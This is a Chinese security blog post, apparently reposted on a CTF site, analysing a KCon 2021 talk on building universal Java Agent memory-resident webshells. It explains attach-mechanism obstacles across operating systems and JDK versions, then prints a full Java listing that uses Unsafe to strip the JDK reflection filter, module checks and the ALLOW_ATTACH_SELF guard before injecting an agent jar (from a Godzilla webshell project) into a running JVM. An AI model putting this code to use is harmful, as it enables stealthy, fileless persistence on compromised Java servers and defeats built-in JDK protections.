Kcon议题分析《高级攻防下的WebShell》分析 —— Java Agent 通用内存马

渗透技巧 3年前 (2021) admin
1,390 0 0

要点概览




  • 遍历所有VirtualMachine获取到正确的Machine

  • 重写tools.jar 封装到Agent中解决无依赖及多平台兼容问题

  • JDK 9 -17  下绕过allowAttachSelf



一、目前Java Agent通用主要遇到以下几个问题


Kcon议题分析《高级攻防下的WebShell》分析 —— Java Agent 通用内存马

Java Agent 内存马前置知识,参考木头师傅的文章:

http://wjlshare.com/archives/1582


1.java 命令直接运行时,不会加载tools.jar

Kcon议题分析《高级攻防下的WebShell》分析 —— Java Agent 通用内存马


2.Java Agent 内存马操作系统不兼容

Java Agent内存马与操作系统有关,具体到JDK tools.jar的代码逻辑中,我们发现不同的操作系统平台,在Agent与jvm通信时采用的方式不同

Windows:sun.tools.attach.WindowsVirtualMachine

连接管道 ——> 注入shellcode

Kcon议题分析《高级攻防下的WebShell》分析 —— Java Agent 通用内存马


Linux:sun.tools.attach.LinuxVirtualMachine

Linux 采用套接字

Kcon议题分析《高级攻防下的WebShell》分析 —— Java Agent 通用内存马


3.JDK 9 allowAttachSelf绕过 以上失败

jdk 9 不仅没有了tools.jar的概念,jdk下java直接执行命令自动包含工具库,且以后将各操作系统下的VirtualMachine集合在一起 :sun.tools.attach.VirtualMachineImpl

Kcon议题分析《高级攻防下的WebShell》分析 —— Java Agent 通用内存马

但是限制了SelfAttach,系统提供了一个jdk.attach.allowAttachSelf的VM参数,这个参数默认为false,且必须在Java启动时指定才生效

Kcon议题分析《高级攻防下的WebShell》分析 —— Java Agent 通用内存马

冰蝎作者rebeyond在八月份提出一种解决方案:https://xz.aliyun.com/t/10075#toc-1


Class cls=Class.forName("sun.tools.attach.HotSpotVirtualMachine");Field field=cls.getDeclaredField("ALLOW_ATTACH_SELF");field.setAccessible(true);Field modifiersField=Field.class.getDeclaredField("modifiers");modifiersField.setInt(field,field.getModifiers()&~Modifier.FINAL);field.setBoolean(null,true)

 但在JDK12以上失效

Kcon议题分析《高级攻防下的WebShell》分析 —— Java Agent 通用内存马


二、议题解决方法




1.JDK 9 -17  下绕过allowAttachSelf

Kcon议题分析《高级攻防下的WebShell》分析 —— Java Agent 通用内存马

成功绕过

Kcon议题分析《高级攻防下的WebShell》分析 —— Java Agent 通用内存马

核心绕过方法

Kcon议题分析《高级攻防下的WebShell》分析 —— Java Agent 通用内存马

代码参考:https://github.com/BeichenDream/Kcon2021Code/blob/master/bypassJdk

/JdkSecurityBypass.java/** * @auther Skay * @date 2021/11/4 16:14 * @description */import com.sun.tools.attach.VirtualMachine;import com.sun.tools.attach.VirtualMachineDescriptor;import sun.misc.Unsafe;

import java.io.ByteArrayOutputStream;import java.io.InputStream;import java.lang.instrument.Instrumentation;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.lang.reflect.Modifier;import java.util.HashMap;import java.util.List;

public class AgentMainDemo_JDK12 { private static void patchHotSpotVirtualMachine(){ try { try { Class hotSpotVirtualMachineClass =Class.forName("sun.tools.attach.HotSpotVirtualMachine",true,ClassLoader.getSystemClassLoader());

Field field=hotSpotVirtualMachineClass.getDeclaredField("ALLOW_ATTACH_SELF");

if (Modifier.isFinal(field.getModifiers())){ try { Field modifiersField=field.getClass().getDeclaredField("modifiers"); modifiersField.setAccessible(true); modifiersField.set(field, field.getModifiers()&~Modifier.FINAL); }catch (Exception e){ e.printStackTrace(); } }

field.setAccessible(true);

field.set(null, true); }catch (Exception e){ } }catch (Exception e){

}catch (Error err){

} } private static Unsafe getUnsafe() { Unsafe unsafe = null;

try { Field field = Unsafe.class.getDeclaredField("theUnsafe"); field.setAccessible(true); unsafe = (Unsafe) field.get(null); } catch (Exception e) { throw new AssertionError(e); } return unsafe; } private static Method getMethod(Class clazz,String methodName,Class[] params) { Method method = null; while (clazz!=null){ try { method = clazz.getDeclaredMethod(methodName,params); break; }catch (NoSuchMethodException e){ clazz = clazz.getSuperclass(); } } return method; } public static byte[] readInputStream(InputStream inputStream) { byte[] temp = new byte[4096]; int readOneNum = 0; ByteArrayOutputStream bos = new ByteArrayOutputStream(); try { while ((readOneNum = inputStream.read(temp)) != -1) { bos.write(temp, 0, readOneNum); } inputStream.close(); }catch (Exception e){ } return bos.toByteArray(); } private static void removeClassCache(Unsafe unsafe,Class clazz){ try { Class ClassAnonymousClass = unsafe.defineAnonymousClass(clazz,readInputStream(Class.class.getResourceAsStream("Class.class")),null); Field reflectionDataField = ClassAnonymousClass.getDeclaredField("reflectionData"); unsafe.putObject(clazz,unsafe.objectFieldOffset(reflectionDataField),null); }catch (Exception e){ //e.printStackTrace(); } } public static void bypassReflectionFilter(){ try { Unsafe unsafe = getUnsafe(); Class classClass = Class.class; try {

System.out.println(String.format("没有Reflection Filter ClassLoader :%s", classClass.getDeclaredField("classLoader"))); }catch (Exception e){ try { Class reflectionClass=Class.forName("jdk.internal.reflect.Reflection"); byte[] classBuffer = readInputStream(reflectionClass.getResourceAsStream("Reflection.class")); Class reflectionAnonymousClass = unsafe.defineAnonymousClass(reflectionClass,classBuffer,null);

Field fieldFilterMapField=reflectionAnonymousClass.getDeclaredField("fieldFilterMap"); Field methodFilterMapField=reflectionAnonymousClass.getDeclaredField("methodFilterMap");

if(fieldFilterMapField.getType().isAssignableFrom(HashMap.class)){ unsafe.putObject(reflectionClass,unsafe.staticFieldOffset(fieldFilterMapField),new HashMap()); } if(methodFilterMapField.getType().isAssignableFrom(HashMap.class)){ unsafe.putObject(reflectionClass,unsafe.staticFieldOffset(methodFilterMapField),new HashMap()); } removeClassCache(unsafe,classClass); System.out.println(String.format("Bypass Jdk Reflection Filter Successfully! ClassLoader :%s", classClass.getDeclaredField("classLoader")));

}catch (ClassNotFoundException e2){ try { Class reflectionClass=Class.forName("sun.reflect.Reflection"); byte[] classBuffer = readInputStream(reflectionClass.getResourceAsStream("Reflection.class")); Class reflectionAnonymousClass = unsafe.defineAnonymousClass(reflectionClass,classBuffer,null);

Field fieldFilterMapField=reflectionAnonymousClass.getDeclaredField("fieldFilterMap"); Field methodFilterMapField=reflectionAnonymousClass.getDeclaredField("methodFilterMap");

if(fieldFilterMapField.getType().isAssignableFrom(HashMap.class)){ unsafe.putObject(reflectionClass,unsafe.staticFieldOffset(fieldFilterMapField),new HashMap()); } if(methodFilterMapField.getType().isAssignableFrom(HashMap.class)){ unsafe.putObject(reflectionClass,unsafe.staticFieldOffset(methodFilterMapField),new HashMap()); } removeClassCache(unsafe,classClass); System.out.println(String.format("Bypass Jdk Reflection Filter Successfully! ClassLoader :%s", classClass.getDeclaredField("classLoader")));

}catch (Exception e3){

} } } }catch (Exception e){ e.printStackTrace(); } } public static void bypassModule(){ try { Unsafe unsafe = getUnsafe(); Class targetClass = Field.class; Class currentClass = AgentMainDemo_JDK12.class; try { Method getModuleMethod = getMethod(Class.class, "getModule", new Class[0]); if (getModuleMethod != null) { Object oldModule = getModuleMethod.invoke(currentClass, new Object[]{}); Object targetModule = getModuleMethod.invoke(targetClass, new Object[]{}); unsafe.getAndSetObject(currentClass, unsafe.objectFieldOffset(Class.class.getDeclaredField("module")), targetModule); } }catch (Exception e) {

} }catch (Exception e){ e.printStackTrace(); } } public static void main(String[] args) throws Exception{ bypassReflectionFilter(); bypassModule(); patchHotSpotVirtualMachine();



String path = "D:\java\za\Godzilla\agent_test\out\artifacts\agent_test_jar\agent_test.jar"; List list = VirtualMachine.list(); for (VirtualMachineDescriptor v:list){ System.out.println(v.displayName()); if (v.displayName().contains("AgentMainDemo")){ // 将 jvm 虚拟机的 pid 号传入 attach 来进行远程连接 VirtualMachine vm = VirtualMachine.attach(v.id()); // 将我们的 agent.jar 发送给虚拟机 vm.loadAgent(path); vm.detach(); } } }}


2.重写tools.jar 封装到Agent中解决无依赖及多平台兼容问题

2.1 tools.jar 重写实现原理

Java Agent技术可以修改jvm中所有Class,包括java.lang.*

通过inst.getAllLoadedClasses() 可以获取jvm中所有Class

Kcon议题分析《高级攻防下的WebShell》分析 —— Java Agent 通用内存马


每个Class在JVM内存中只占用一份内存,通过java.lang.instrument.Instrumentation#redefineClasses直接修改字节码来实现类的重写,有了Java Agent,就相当于有了JVM最高控制权限。


2.2 遍历所有VirtualMachine获取到正确的Machine

native函数未链接时会抛出异常

Kcon议题分析《高级攻防下的WebShell》分析 —— Java Agent 通用内存马

这时catch 这个报错可以遍历所有Machine获取到正确的Machine

Kcon议题分析《高级攻防下的WebShell》分析 —— Java Agent 通用内存马


这里的VirtualMachine,为了适应多平台,作者已经实现了多个平台版本的VirtualMachine

Kcon议题分析《高级攻防下的WebShell》分析 —— Java Agent 通用内存马



三、参考连接




https://github.com/BeichenDream/Kcon2021Code/blob/master/bypassJdk/JdkSecurityBypass.java

https://juejin.cn/post/6991844645147770917

https://xz.aliyun.com/t/10075#toc-1

http://wjlshare.com/archives/1582



❤  Beichen

原文始发于微信公众号(赛博少女):Kcon议题分析《高级攻防下的WebShell》分析 —— Java Agent 通用内存马

版权声明:admin 发表于 2021年11月5日 上午2:35。
转载请注明:Kcon议题分析《高级攻防下的WebShell》分析 —— Java Agent 通用内存马 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...